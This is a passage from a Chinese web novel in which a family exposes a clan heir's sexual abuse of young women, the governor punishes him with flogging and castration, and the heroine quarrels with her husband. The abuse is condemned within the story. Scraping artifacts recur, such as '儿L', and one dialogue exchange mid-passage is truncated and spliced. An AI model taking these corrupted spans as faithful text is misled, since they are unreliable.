濮青见状,为自个主子舒了一口气,后,会把益州闹个天翻地覆,没想到宓瑶见好就收,
因为心里的担子松下,所以又拿到宓瑶写给主子的信时,他轻松笑了笑:“夫人对镇使不必那么客气,还专门再写一封信道谢。”
宓瑶瞥了他一眼,人长得不怎么样,想得到是美,还她跟萧欻道谢。
*
汪母的动作很快,下午就带着汪家人,去赵家三房泼了粪水,大骂赵五赵七是畜生,趁着赵家人没反应过来,见到赵家人就打,等到被架开,赵五母亲脸上全是指甲的划痕,半张脸都是血。
旁观看热闹的人被汪家人的疯狂吓到,汪家没说是因为什么事上门,但听汪母一口一个畜生,脑子转得快的都想到了前两日宓瑶在梅园说的话。
“我就说七娘都敢在人喜房外面谋划,如此嚣张跋扈,以往怎么可能没怎么对过其他家的娘子,只是没想到与她同谋的是五郎。”
“有什么没想到,三房就五郎一个嫡出,七娘平日最讨好她这个五哥,当然听他的吩咐做事。”
“汪家父母能气成这样,看来赵五那个畜生对汪小娘子出手了?”
“低声些,若说五郎沾过手的小娘子,怎么可能只有汪家小娘子一个,往日那些与七娘交好的漂亮小娘子,怕都遭了五郎的毒手。”
……
赵天赫起势后投奔他的赵家旁支不少,这些人基本是围绕着节度使府邸找住处,有本事的就另开府邸,比如赵家三房,若是稍逊的就是群居在一块。
不是姓赵关系就团结一致,赵母听到人群中声音最大的就是赵姓族人,气得恨不得动手把他们撕了。
脸上疼痛难忍,她还是极尽耐心,朝汪母露出了和善的神情:“汪支使与汪夫人是不是偏听了什么谣言,对我家五郎有什么误会?”
“你瞧着面善,不像是纵容孽障作奸犯科的浑人,你说得对,应该是有什么误会。”
汪夫人语调轻缓,说完感觉钳制她的力量松了,她就立刻挣脱束缚扑到了赵母身上,扇巴掌抓头发,怎么能听到赵母的哀嚎她怎么来,被再次拉开前她狠狠吐了赵母一口吐沫。
“我看你这装模作样的嘴脸,就知道你一定晓得你儿L女做了什么!若不是有证据,我会拿我女儿L的清白来闹?!你这个大畜生生了赵五那个畜生不如的东西,他们兄妹俩不止害了我家芽芽,还有半年前投河的吴家娘子,一个没及笄的小娘子,赵五郎犯完恶后,怕她怀了孕被人发现,就恐吓她逼她自尽,你们一家子畜生,夜里是怎么睡得着的!”
汪母语速极快,赵母反应过来让人捂她的嘴,却迟了一步。
听到周围的哗然,头发散乱的赵母无法再维持正常的神色:“你胡说八道,谁知道是不是你女儿L勾引我儿L不成,在这里污蔑我儿L!什么吴家娘子周家娘子,你们一家子人疯了来来我家胡编乱造,打量我家好欺负!”
“是不是胡编乱造,赵公自有判断。”
汪支使厉声开口,“众目睽睽之下,你赵府人想杀人灭口不成,你把你家两个畜生交出来,我们去见赵公,让他判个是非对错。”
他们这趟过来,就是想打赵家一个措手不及,在见赵天赫之前,先将赵五郎打个半死,以泄心头之恨。
谁想到赵五郎那个龟孙,胆小如鼠根本不敢出头,只是把他亲娘推了出来。
汪支使说完带来的人就开始发力,要挣脱赵家三房的家奴。
赵母敢让他们去赵天赫面前胡言乱语,不仅让人不放,还让人家里的下人紧紧制住他们不准他们跑了。
一时间场面混乱,赵母被人推搡,竟然倒进了地上的粪水之中。
“各位做个见证,我家要去拜见赵公,求赵公主持公道,赵家三房却百般阻挠,明显是心虚害怕,若是我一家遭遇什么不测,定然是赵家三房暗中动手!”
“汪大人放心,我们都看着呢!”
“就是,我们都是人证!”
汪支使说完,围观的人纷纷响应。
只是泼粪还能说是出气,到了最后还能退步变成误会,但汪家人已经当众说了自个女儿L失去清白,还提了被赵五郎害死的女子,这明显是要跟赵家三房鱼死网破。
这种情况下,看热闹中有不少人被汪家人的气魄打动,自发出来帮他们对抗赵家三房,让他们好早些脱困,去节度使那儿L为女儿L讨回公道。
“赵夫人你要是问心无愧,告到节度使那儿L又怎么样?你快下令放人吧!”
“我儿L无辜也禁不起人造谣生事,我放了他们,要是他们没去赵公那里怎么办,他们说不定就是闹够了想跑。”
赵母一身屎味,不见平日里的优雅庄重,事已至此她也破罐子破摔,恍若疯婆子撒泼,死活不放人,还下令把汪家人都抓进府里。
只是她发疯也没用,这里离节度使府邸并不远,汪支使提前打听了赵天赫在府,才明知赵家三房家奴不少,还底气十足的上门。
没过多久,赵天赫派人来询问始末,面对节度使府邸的侍卫,赵母想拦也无法再拦,只能面色灰白,看汪家人往节度使府邸而去。
*
因为对人性不够信任,在岳府宓瑶没有立马把册子给汪家母女,只道她看到汪母真给女儿L出头再说。
对此汪母并不在意,若是节度使公正,有太多办法让赵五郎原形毕露,若是不公正,有多少本册子也无用。
宓瑶用晚膳时,正好赶上了虞琇风风火火地到处打听汪赵两家的消息,听到赵母满身粪水,宓瑶看着面前她喜欢的小炒和炖汤,不知她是该觉得大快人心,多吃两碗饭,还是精致一些,蹙眉搁下筷子。
瞅见萧良和萧善依然吃的津津有味,萧善还抱了只大鹅腿在啃,她选择顺从本心,继续吃她的松菇炒肉。
嘱咐濮青把册子给汪家人送去,宓瑶看向依然亢奋的虞琇:“你也别晃来晃去了,再不吃等会只能吃回锅的饭菜。”
“阿姊我现在不饿,我现在就想知道赵家兄妹会是什么下场,节度使不会维护自己侄子吧?”
“不会。”
宓瑶肯定道,按着她从书本中了解的赵天赫性格,赵天赫人品不错,因为早年他自个孩子的原因,看不惯这类事情。
再说如果书中就算有误,赵天赫爱面子,在乎名声这件事不可能是假的。
汪家人已经把事情闹大成这样,他怎么都会给汪家人一个交代。
“那节度使会不会觉得阿姊你多事,会不会针对阿姊你啊?”
虞琇越想越紧张,“不然阿姊去跟节度使解释是我听到了赵家兄妹的密谋,跟阿姊你没关系。”
她消停不下来,这会儿L又听到外头在传,说汪家父母是因为阿姊才晓得女儿L被欺负,她一边高兴旁人说阿姊正直良善,一边又担心阿姊会变成靶子。
“放心。”
宓瑶回了虞琇一句就没再理她,因为她晓得虞琇现在正亢奋,越当她的听众,她就越来劲,思绪能延展到天边。
只是她不理了,旁边的萧善补上空缺。
“坏人有坏报!”
一边说一边有力地喷了一片口水。
萧善开始学说话之后,就喜欢看别人表情丰富地不停说话,所以发表完意见后,目光炯炯有神地瞧着虞琇,期待她带回更多消息。
这时虞琇也不嫌弃萧善了:“你这小丫头,话虽然说不清但倒是懂几分道理。”
“小姨母不用担心,恶人才会倒霉,母亲是好人,她只会好好的。”
听到虞琇夸萧善,萧良也开口展现他懂道理。
“你说得也对,阿姊定然能好好的,我再去听听节度使捉赵家兄妹去节度使府了没有。”
有了两个捧场的听众,虞琇动力十足,一直到汪家人从节度使府邸出来了,她都还在到处打听零碎的消息,等到把什么正经的,道听途说的消息都听干净了,她才消停下来。
至于宓瑶,她今天用的能量太多,晚膳过后站了片刻插花,就躺着昏昏欲睡,反正明日只会更好,不会更差,早睡就能到更好的明日,既然如此干嘛不睡。
*
“你与他一同跪下,是打算与他一齐受罚?”
赵天阳与赵五郎父子俩齐齐跪下,赵天赫朝赵天阳冷声问道,“本以为你们还有话辩解,看样子汪家的话还是说浅了,赵五你做的事怕是不止汪娘与吴娘这两件!”
赵天赫声量倏然一重,赵五郎满头冷汗,头直接磕在了地上。
“侄儿L错了,汪娘子跟七妹是手帕交,我因为七妹常见到汪娘子,与汪娘子情投意合才做出无媒苟合的错事,我与汪娘子是两厢情愿,并非是我逼迫……”
赵五郎越说声音越抖,感觉到赵天赫恍若实质的目光落在他的身上,到后头嗓子都要发不出声响。
哪怕只有一个汪芽,他也不敢认他下过药。
他清楚赵天赫的禁忌,因为他的女儿L曾经落入仇敌之手,被凌辱致死,他生平最恨的就是女子受男人强迫。
他一直都知道这点,就是知道他才心痒,忍不住在他眼皮底下,一次次玩弄他手下官员的妻女。
“这就是你的解释?两厢情愿?”赵天赫冷笑,目光移向他身旁的赵天阳,“你儿L子这般说,你要如何说?”
临近过年,益州的将领都被赵天赫分派到各地巡查,赵天阳便是去了益州隔壁的州县,今日收到信才快马加鞭地回来给儿L子女儿L擦屁股。
赵天阳风尘仆仆,面色比平日苍老了几岁,他跪下听到赵天赫的第一句,就知道今日这事无法善了。
看了眼身旁颤抖的儿L子,赵天阳磕头谢罪,头再抬起来,就道:“子不教父之过,养出这般的畜生,我也该罚。”
听到亲爹的话,赵五郎惊惧地瞪大了眼睛,触到赵天阳脸上的决绝,他晓得他爹这是要放弃他了。
一瞬间身上力气全部抽空,赵五郎瘫在了地上:“叔父饶了我罢,我是你的亲侄子,我与汪娘子真的是两厢情愿,我没有害死任何人,那些都是旁人冤枉我……”
“你这孽子,事到如今你还不认,若是你跟汪娘子两厢情愿,汪家父母又怎么会豁出脸面只为讨一个公道。”
赵天阳狠狠扇了他一巴掌,“都怪我平日忙于公务,疏于了对你的管教,让你娘把你惯成了这副模样!”
赵天阳痛心疾首,说完便朝赵天赫领教子不严的惩罚。
既然当爹的都帮儿L子认了,赵天赫没有浪费时辰再审赵五郎:“你教子不严,领一十军棍。”
“至于你,”赵天赫看向抖如筛糠的赵五郎,“鞭刑一百,等到开了吴氏的棺木,验过尸首,再定你要不要为吴氏偿命。”
听到鞭刑一百,赵五郎已经流泪不止,又听赵天赫有意让他偿命,他抱住了赵天阳求道:“爹你救我,你救救我,我是你唯一的嫡子,你让叔父饶我一次,我真知道错了,我往后再也不敢了……”
“我宁愿香火断绝,也不要你这样的孽子!我恨不得亲手手刃了你,你受任何惩罚都是报应,你竟然还敢张口让我求你叔父,你可真该死!”
赵天赫不耐再听赵五郎的哭闹与赵天阳的装模作样。
军棍比鞭刑结束的快,虽然赵天阳已经决心放弃赵五郎这个儿L子,但毕竟是自个宠大的孩子,听到他一声比一声像是快要断气的惨嚎,赵天阳于心不忍,有意找赵天赫转圜。
不过还没去找,他就听到他儿L子因为受不住鞭刑,不止说出庶妹如何为他物色猎物,还承认了吴氏死之前怀了孩子。
赵天阳骂了句蠢货,彻底熄了救这个儿L子的打算。
回府面对要儿L子的赵母,他抬手就是一巴掌。
“你这蠢妇,宠儿L子宠的没数了,什么都敢让他做,做就罢了,为何不把尾巴抹干净,在人的喜房外密谋,还是萧欻的喜房外面,他是什么人你不知道,如今除了节度使,我们几个姓赵的手里的兵权都没他多,你们还巴巴的把把柄往他手里送!”
听说这件事是由萧家的新妇挑起,他就知道对方来势汹汹。
赵天赫养子不少,但最信任重用的就是萧欻,而萧欻在军中名声也比赵家子弟更好,赵天赫没有亲生的子女,他们赵家旁支想压萧欻一头,萧欻何尝不想抓他们赵家人的漏洞。
“他倒是聪明,怕节度使猜疑,自个躲到了翼州,让他的女人来搅和浑水。”
“五郎该怎么办?你怨我纵容他,可我也是到了最近才晓得他私下做的事,我们儿L子是什么样你能不晓得,他都是被七娘那个贱丫头带坏了!”
提起赵七娘赵母就咬牙切齿,恨不得现在就把人扒皮拆骨,“你跟堂兄说了没有,错的都是七娘,我儿L是无辜的!”
“这话也就你信。”
赵天阳没好气地道,看到妻子癫狂的神色,他叹了口气道,“你就当这个儿L子死了吧。”
他给吴父送了信,但就算吴家人把吴氏的自尽说成了她不检点,赵五郎保住一命人也废了。
“我怎么能当做他死了!你说的是什么,不过几个命贱的女人,怎么我儿L就要死了!”
赵母神态疯狂,说着就要冲出去找人救儿L子。
赵天阳当然不能让她在这个节骨眼上乱跑,只是他受了军棍,本来就是强撑着站立,刚伸手一拦人就被冲力带的摔在了地上。
赵天阳疼得冷汗直流,心中恶心得紧,也只能嗅着赵母身上的粪味,死死地抱着她。
第33章 第三十三章【VIP】
赵家的事让益州在年前好好热闹了一番,等到风波过去,各府就发现为了看热闹耽搁了置办年货,醒过神开始热热闹闹地准备过年的东西。
萧府也相同,宓瑶舍得银子,而霜华作为萧家的新管事,想要管好这头一年的大节,一个舍得一个想大干一场,等到萧欻回府时,再看萧府大门都升起了一丝陌生。
他搬来就没管过的府门翻了新漆,见红褐色大门成了朱红,他才意识到这才是大门原本的色泽。
府门打开,入目就是五颜六色绘有吉祥图样的彩灯,除却花坛中本有的花草,上了回廊,每走几步就能看见一尊架在木架上的铜壶,里头大多都是以梅花为主的插花。
看了一路的梅花,他算是明白濮青为何特意传信,说宓瑶问方氏要了梅枝。
以府内展现的数量来说,宓瑶应是在梅园薅了不少,给方氏留下了一片光秃秃的主干。
“阿爹万安。”
听到下人通报萧欻回来,萧翼急忙带着弟弟妹妹来迎接萧欻,给他问安。
萧欻看了他们三人一圈,他走了十天不到,他们三个就齐齐胖了一圈。
特别是萧良与萧善,脸蛋如圆盘,肉的像是两只猪崽。
“我不在府里的这些日子有什么事发生,你们……过得如何?可有什么事要告诉我?”
前头一句还好,问到最后一句,萧欻微皱了下眉,显然不习惯问这种问题。
萧翼听着也觉得惊讶,往常阿爹从来不会问他们这个,一般都是他们请完安后,阿爹看他们几眼,便让他们退下,到用饭时再见。
而用饭时阿爹会跟他们说的话也是极少的。
萧良没兄长那么敏锐,听到阿爹问有没有事发生,立刻兴奋道:“前些日子阿娘带我们出门去买点心了,我们还去了卖首饰的铺子。”
萧善在一旁翻出了她脖颈上挂的莲花葫芦,也不说话,斜着脸得意地看着萧欻。
“阿娘让我们选了三个不同款式,我的是麒麟葫芦,阿爹你看!”
萧良也把脖子上的葫芦亮了出来,见大哥没有动作,催促道,“大哥也给阿爹看看,不要舍不得。”
萧翼:……
他哪儿是舍不得,只是觉得阿爹不会对这事有兴趣。
心中这般想,萧翼还是露出了脖颈上的宝相花金葫芦。
“做工不错。”
扫过三块不大的金子,萧欻不觉得有多好看,但对上萧良发亮的眼睛,他还是敷衍了一句。
“哎呀!”
萧良突然想起了什么,看向萧欻空荡荡的脖颈,为宓瑶解释道,“阿娘不是忘了阿爹,是这东西是我们小孩子戴的,阿爹别要。”
萧良没什么经验,不知道说什么话,能让得不到好东西的人不那么难过,只能草草安慰了萧欻,然后把葫芦放回衣服里。
“我们的,别眼红!”
萧善跟二哥心灵相通,说出了他形容不出的词,顺道也藏好了自己的葫芦。
“善儿不可以这样说阿爹。”
萧良虽然训斥了妹妹,但因为觉得妹妹说的词很准确,表情为难,脸上的嫩肉都皱在了一块。
什么话都没说,就成了眼红孩子的没出息大人。
萧欻眯了眯眼,他晓得萧善性子越来越难缠,只是没想到萧良跟虞女亲近以后,性子也越来越独特了起来。
变得有点欠揍。
“我拿你们东西做什么。”
萧欻淡淡回了句,被那么一打岔,他已经没兴趣再听他们这几日身上都发生了什么事。
不外乎是虞女跟他们说了什么,陪他们做了什么,最后把他们喂成了傻猪崽。
一路走到主院,萧欻瞥了眼房门紧闭的屋子,现在这个时辰既不早也不晚,难不成她还在睡觉,也不知她每日哪来那么多瞌睡。
换下了沾了雪花与灰尘的衣裳,沐完浴萧欻打开衣柜,看到其中多了几件新衣,嗤了声,拿了旁侧的旧衣。
“虞氏不在府中?”
重新束起了头发,萧欻叫来濮青,听他汇报城内事务前开口问了句。
濮青一愣:“夫人应该在府中,没听门房说夫人出去了。”
最近天气冷,宓瑶上次出门逛街后,就说开春前都不要再出门,这会还下着雪怎么可能有兴趣出门闲逛。
“镇使找夫人有事?”濮青品过味来,立马道,“属下这就去叫夫人过来。”
“不必。”
萧欻淡淡道,他道她不在,原来是在,只是不知礼节,知晓他回府也不露面。?”
“下吩咐绣娘准备,若是有不合适的,镇使只管交代属下,属
满意自己周到的心思,濮青脸上的笑容有几分得意。
萧欻瞥了他一眼,顿了片刻才道:“做的不错。”
“这都是属下该做的。”
对虞女的疲懒已经有数,萧欻没说什么,只是到用饭时,他一反常态,走到了小厅。
扫了眼精神饱满,血色充足,时,走出房门给他请安的宓瑶,坐在了她的对面。
瞧见萧欻,宓瑶掀了掀眼皮,说来奇怪,,萧欻在外那么多日,眉目间隐着疲惫,反倒看起来更英俊了。
“叫大厨房把准备的菜送到这儿。”
宓瑶朝侍女吩咐道,说完看向萧欻,“我们近两日都在吃栗子饭,郎君要是吃不惯,就让下人盛正常的白米。”
“不必麻烦,我和你们相同就是。”
听萧欻那么说,宓瑶不在说什么。
等到饭端上来,萧欻看了眼,发现虞女口中的栗子饭就是在米中加了板栗与红薯。
这样的饭食他小时候没少吃*,只是那时候米用的是糙米,其中还加了许多水,一碗盛出来只有一块完整的甘薯与没有几颗米的米汤。
见其他几人吃的津津有味,萧欻吃完了一碗就换了正常米饭。
吩咐了下人之后,他似想起什么,看向宓瑶:“小时候吃腻了这些东西。”
意识到萧欻是再跟她解释,宓瑶应了一声:“那往后就少吃。”
萧欻语调淡淡,宓瑶也不热情,这短暂的一句交谈并没有让桌上的气氛热络起来。
萧善与萧良察觉不到,但年岁稍大的萧翼看了看萧欻又看了看宓瑶,有些纠结,难不成阿爹真像是二弟说的那样眼红了他们,所以跟母亲吵架了?
不想跟让她没胃口的人搭话,宓瑶把心思专心放在吃饭上,等到放下筷子反倒吃多了。
躺了一会还是觉得撑,她干脆披上了披风,打算到处走一走消食。
“去哪?”
宓瑶出院子时恰好遇上了回院子的萧欻,两人目光对上,萧欻先开口道。
“四处走走,消消食。”
“你今晚吃的算多?”
萧欻低眸瞧了眼她的肚子,记得她不过吃了半碗饭,用的还是跟萧善一样的小碗。
因为有披风遮挡,他无法一眼看到她的小腹,但回想她盈盈一握的腰肢,的确不像能装多少东西的模样。
“我不如郎君如此强壮,自然胃口要比郎君差上许多。”
“嗯。”
萧欻颔首后,宓瑶原本以为他闭嘴走开,但谁想到他脚步一转,与她一同出了院子。
看样子是要跟她一起散步?
这个猜测让宓瑶心中发毛,鸡皮疙瘩起了一身,萧欻不会也被人穿了吧?
饭厅里脾气比平日好了不说,这会还晓得讨好美人,陪美人散步了。
幸好萧欻没让宓瑶惊吓太久,走了几步他开口道:“你给我写得第二封信是什么意思?“
冷冽的嗓音与冬日的夜风相似,萧欻不是陪她散步,而是兴师问罪来了。
离她写那封信都过去七八天了,宓瑶也不记清自个写了什么,现在回想起来,就只记得当时不爽的情绪。
“我记性不好,郎君突然那么问我,我一时想不起来,我应该没写什么冒犯郎君的话吧?若是写了,郎君大人有大量别跟我计较。”
对上宓瑶柔媚的眼眸,萧欻帮她回忆道:“你写了‘萧郎真聪明,没想到世上还有萧郎这般聪明的人,若是世人都跟萧郎一般聪明就好了,我能嫁给萧郎真是积了八辈子的福气’。”
听到萧欻面无表情平铺直叙地背诵她曾经写过的内容,宓瑶眨了眨眼。
她写这些话的时候,觉得自个有一点阴阳怪气,如今萧欻一背出来,听着就是像在毫不遮掩的骂人。
“萧郎怎么能用这般的语气提及我给你写的私笺,女儿家跟男子的语调不同,我明明是说‘萧郎真聪明!’”
宓瑶姿态多了几分扭捏,双手握拳放在脖颈下,倏然睁大了眼,一脸惊喜地开口,“郎君你瞧,我是这样写的信,可不是你那种轻蔑的态度。”
哪怕学字学得晚,萧欻也不觉得他会傻到分不清旁人文字中透露出的态度。
他回府后她先是避而不见,而后在用饭的小厅,她的姿态也是十足的敷衍。
而正好见过她方才的冷淡,这会触到她脸上堆砌的笑容才有了比较,确定她之前是故意的无视他。
她不想与他说话,他应该觉得省事才对。
但想到她写给他那封濮青说是给他道谢的信件,他偏生不想她那么恣意,想如何就如何,他就是要挑破她的隐藏的情绪,看她在他面前惊慌失措。
“你到底是在置什么气?濮青说你并未插手赵家的事,而是把册子交给了汪家处理,就是这般,你别与我说你觉得累到了,所以要给我写一封阴阳怪气的信。”
见自己撒了娇,萧欻不但不算了,还有深挖到底的意思,宓瑶脸上的笑容淡去。
“郎君觉得我置气,那我就是在置气吧。”
她心绪平静下来,就后悔自己一时意气给萧欻写了那么一封信,她那一刻是发泄轻松了,但萧欻看到信之后,少不得烦她。
看吧,这就来烦她了。
“所以你在不满什么?”
萧欻见她被风吹得缩颈子,拎着她衣裳上面垂下的毛球,把她拉到了遮风的回廊下面,“在这说,若是还觉得冷就回屋说,别寻什么太冷嘴张不开的借口。”
说他聪明他还不认,这不是都把她会找的借口琢磨到了。
既然萧欻非要个答案不成,宓瑶瞧向他:“我在不满郎君不如我想得那么好。”
触到她眼中的认真,萧欻皱眉:“什么意思?”
“洞房时我跟郎君告状,郎君不安慰我,说什么让赵五郎偷了我,我晓得郎君是被我叫停太多次,心中不满,所以说这般的话泄愤,因此我没觉着生气,因为我信郎君的人品,知道郎君不是那般的人。”
听到宓瑶说信他的人品,萧欻轻嗤了一声。
宓瑶只当没听见:“而后郎君也证明了我信任,与我解释不是没有在意我说的话,只是赵五郎身份特殊要徐徐图之。”
“郎君大概觉着自个做得够好了,去为我收集了对付赵家兄妹的证据,还交代了濮青让我随意用人。”
宓瑶顿了顿,想逼自个泪光闪闪,但最多是让眼眶有些热,实在没有说哭就哭的本事。
“郎君问我置什么气,我是气郎君明明早有证据,却在等合适的时机,因为对方是赵家子弟,怕旁人猜疑,就把我推到台前,我气郎君跟我想的不同,没有我想的那么正直。”
这些话当然是她美化再美化。
察觉萧欻把她当做手边可利用的工具,她没什么闲心跟他置气,她只是觉得萧欻倒胃口。
再往深处想想她甚至觉得,书里面萧欻那么后面才对付赵家兄妹,到底是赵五郎真做得隐蔽,还是他就是在等到鄢妘出事,好充当救世主,换来一名大将。
反正越想就越犯恶心。
而这些实话她当然不能与萧欻说。
“郎君可能觉得好笑,觉得我性子疲懒,耽于享受,有什么资格站在高处指摘你的品行,我也觉得我没理,但我就是觉得不高兴,不满郎君毁了我心中对郎君你的伟岸想象。”
明白宓瑶那封信是什么意思,萧欻觉着可笑,但触到她发红的眼眶,他抿了抿唇。
“你想的太多,我本就不是什么正直的人。”
他若是圣人,他就不会去抓与情郎私奔的她,不会对萧良他们的委屈视而不见,他只懂活着不懂正直。
听到萧欻这般说,宓瑶定定看了他片刻,最终像是忍不住眼泪只能转身离去。
萧欻没去管她,随她离开。
*
萧欻回益州没几天,赵五郎也差不多该走了。
赵天阳让吴父贬低亲生女儿,好让赵五郎少一项罪罚的招数就是一招昏招。
开棺验尸后,确定了吴小娘子去世前怀有身孕,赵天赫听到吴父说这身孕跟赵五郎无关,是他女儿私底下与许多男子不清不楚。
赵天赫二话没说,直接把吴父关进了牢里审问。
赵五郎挨了六十鞭,就觉得自个濒临死亡,什么都倒个干净,吴父比赵五郎厉害点,到了六十六鞭才神不附体,说自个记错了。
说他女儿洁身自好,从不与外男来往,是被赵五郎胁迫才没了性命。
得了这样的证词,赵天赫也没要他的命,只是夺了他的官职,抄了他的家,让他没了事做平日里能好好养养记性,别再轻易记错自个女儿是什么样的人。
赵五郎身上背了一条人命,赵天赫本来是打算让他偿命,而赵家其他人平时乐意看赵家三房的笑话,一旦涉及赵姓人的生死,他们又团结了起来。
怕赵五郎这一死,让世人发现赵天赫与他们根本不是一条心,会损失他们一族的威望。
在接连不断的族人恳求下,赵天赫饶了赵五郎一命,只是死罪可免活罪难逃,等到赵家人再见到赵五郎,赵五郎已经受了宫刑,并且不日要被驱离益州,今生不能再踏入剑南一步。
相比他的下场,赵七娘也不知道算是好还是不好,赵天赫只罚了赵七娘五十鞭子,也不提把她逐出家门。
不过就算她能留在赵家,以赵母对她的恨意,恐怕日子好过不到哪里去。
“恶人都得到了应有的报应,赵五郎被压出城门那日我去看了,人瘦成了一把骨头,神色惊恐畏缩,想来就是捡了一条命,以后也没胆子再做恶事。”
鄢妘说起那日的场景有些兴奋,百姓们知道赵五郎是那日被赶走,不少人自发地拿了臭鸡蛋与石子打他,而汪家人找上赵家时没泼成赵五郎的粪水也补上了。
一切都大快人心。
“恶人的胆怯只是在强权下不得不低头,他若是不死,谁知道之后还会有谁遭殃。”
宓瑶说完,鄢妘脸上的兴奋褪去,蹙眉道:“那怎么办?”
“还能怎么办,当然是等他死呗。”
成了这样赵五郎能老实一阵,等到益州易主,赵家人自顾不暇,他就是缓过来想不老实,也没办法了。
两人又闲聊了几句,鄢妘的夫君来接她,她要走之前才叹了口气道,“不晓得你懂不懂,我昨日瞧见赵五郎的样子,再想汪夫人如此顺利地给女儿报了仇,总觉得心中怪怪的,当然我不是可怜赵五郎,只是觉得一切太顺利了,顺利到让我觉得凭什么就这个人,就让益州那么多小娘子受了罪。”
哪怕有吴盈盈生前写的册子,她那时依然忧心赵家人有什么应对的对策,赵五郎会逃过一劫。
但谁想到一切顺利的过分,从汪家人上门,到赵家兄妹被处置。
外头本来还有关于各家娘子的风言风语,因为赵天赫的雷厉风行也没人敢提了。
“因为发现简单戳开一切,赵家兄妹就会万劫不复,所以你不能理解赵家兄妹拙劣的计谋怎么能控制住那么多女子?”
见鄢妘点头,宓瑶淡声道,“因为一切没看着那么简单,因为益州姓赵,因为爱女儿的父母没那么多,因为女子太容易被人冠以各种难听的流言蜚语。”
只能说有一个公正的节度使是剑南百姓的幸运,她虽然没有刻意打听,但也知道如今大兴四分五裂,有些地界手中有权的统治者早就不把人命当命,把人当做食物食用的都有,对他们而言赵五郎这事根本不算得什么。
“你若是再不走,你夫君怕是要成雪人了。”
见鄢妘还要说,宓瑶提醒道。
“他又不傻,落雪还站在屋外等我。”
鄢妘还想聊,但知道明日就要过年,不能这般无止境耽搁宓瑶时辰,说定了改日再见,鄢妘才恋恋不舍站起身。
两人一齐出去,发现岳晋的确没有站在空地上当雪人,不过他与萧欻站在庭廊下说话,两人穿得都不厚,头发时不时还被冷风扬起,看起来也不怎么聪明。
送走了鄢妘,宓瑶没看旁侧的萧欻,先一步回转了屋子。
萧欻也没追她,停了一会才再次启步与她错开回了院子。
若是以往府里两个主子有了别扭互不说话,下头的人铁定噤若寒蝉。
但宓瑶不去讨好萧欻归不讨他,花他的银子她还是花的起劲,红包一个个发下去,府里的下人一个个笑逐颜开,哪还记得男主人的冷脸。
就连虞琇没在意两人之间的冷淡。
知道了萧欻的恶习,她巴不得阿姊与他相敬如宾,以免又被弄得一身伤。
在萧府里大约就只有萧翼担忧萧欻的心绪,不过他担忧也没用,他也没办法让宓瑶也送萧欻一条葫芦脖链。
除夕夜大小厨房齐齐发力,做了一顿丰盛的年宴。
瞧着桌上架着的烤乳猪、宓瑶一边心疼它那么小就出来迎客,一边吃完了一个肘子。
这一餐所有人都敞开了肚子,用完年夜饭,宓瑶去了听松院,与萧善他们在游戏房打发时间。
听说萧翼最近的课程新增了棋艺,她就让萧翼把棋盘拿了出来,要教他下五子棋。
她与萧翼玩了一会,嫌他记着围棋的法则,扭转不过来玩五子棋,就打发他去教萧良下棋,而她跟在旁跃跃欲试的虞琇继续玩。
萧良对学下围棋没有兴趣,幸好没学多久,棋局就被萧善破坏。
萧善闲着没事,也想参与其中,不过五子棋与围棋她都不懂,她大拇指与食指屈起,肥肥的小短手做出弹东西的姿势,把黑棋弹出去撞白棋。
弹完她看向萧良,等着他的回击。
比起听围棋的规则,萧良明显对这个游戏更感兴趣。
棋子弹来弹去,萧翼无奈地站在一旁,看弟弟妹妹玩得哈哈大笑。
听松院一直热闹到了亥时,等三个孩子睡着,宓瑶也没有守岁的想法,打着哈欠上床睡觉。
次日睡到晌午醒来,宓瑶把萧府所有人集中起来发了新年红包。
钱一把把撒出去,收获了一枚枚真情实意的笑容。
宓瑶的心情也跟着飞扬起来,只是她飞扬的心情在晚膳之后就消散干净。
“去我房里。”
萧欻的声音在耳畔乍响,宓瑶还以为自己产生了幻觉,转身看向萧欻,目光相对,触到他眼中的幽深,宓瑶真就是佩服了。
两人都不说话几天了,他都还能惦记初一十五。
大年初一都还要让她上工!
第34章 第三十四章【VIP】
萧欻出现的时候,天将将黑透,萧良想同昨日一般放爆竹,吃了饭之后就守着天色,天一黑他就兴奋地要去空地。
这时代有火药,但技术上还无法制造观赏性质的烟花。
而且火药受官府管控,不能拿来制造炮竹,所以萧良的放爆竹,是把竹子扔进火里面烧,听竹子爆炸的声响。
除夕夜因为凑趣,她才扔了几个竹节,如今再去听嘭嘭嘭的炸裂声响,她有些不想动。
正犹豫着要不要给萧良这个面子,就听到萧欻对她发出邀请。
那日争执后,两人就开始互相视而不见。
当然这个视而不见也可以说是她单方面发动。
因为萧欻本来就话少,平日里她不主动与他说话,他也不会寻什么话题与她交谈。
说起来他刚回来时,她还想要装装样子,怪他没事打破了现状,让她不得不发表了“我对你很失望”宣言。
原本她还担心自己太激进,后面发现这是好事一件,给了她可以无视萧欻,不需要在他面前装模作样的借口。
只是她怎么都没想到,两人都成疏离成了这样,萧欻竟然还要让她上工,简直丧心病狂。
宓瑶眼里满是诧异,跟萧欻对视良久,见他感知到她惊讶的情绪,却没有开口说算了的意思,她默默站起了身。
“郎君确定现在就要?天才刚黑,是不是太早了一点?”
宓瑶一边随着萧欻往他房里走,一边开口问道。
“早做完不耽搁睡觉。”
面对宓瑶的问题,萧欻头也没回,淡声答道。
瞧着他的背影,宓瑶皱了皱鼻子。
说得那么漠然,不知道的还以为他有什么系统,逼着他完成他不想做的任务一样。
但实际上并没有人逼他与她睡觉。
他若是不想睡,完全可以取消初一十五。
因为有可以不用太热情的借口,进了萧欻的屋子,宓瑶不像以往一般主动靠近他,而是表情淡淡地站在离门不远的地方,目光也不看他,而是随意打量不远处花梨木桌台上的刻纹。
她想瞧瞧萧欻能有多厉害,面对一个不配合的女人,他是不是也能重复之前两次的步骤。
现实证明不要高估男人对女人情绪的在乎程度。
她没站片刻就听到萧欻冷清的声音多了几分暗哑:“把衣服脱了。”
目光对视,萧歘眸光幽深,眼底已经烧起了一层浅浅的猩红。
可见她还没脱,他的思绪就已经跑到她脱光的模样。
宓瑶:……
哇,这就是男人。
晓得面前的人不在乎她的态度,此刻闹小脾气只会让自己吃亏,所以宓瑶干脆走到了床榻边上,开始听话的脱衣裳。
“郎君不过来?”
剩下最后一层,宓瑶解绳的动作顿了顿,抬眸朝萧欻问道。
萧欻大步走到她的面前,手捏住了她的下颌,一点点低下了头。
在两人唇瓣即将碰触前,他停了下来,逡巡宓瑶脸上的神色。
宓瑶杏眸半阖,纤长浓密的眼睫顺从地向下耷拉,没得到预想之内的吻,她疑惑地睁圆了眼,不解地看向他。
萧欻没再迟疑,含住了她的唇。
而她不闪不躲,唇瓣微启,许了他长驱直入。
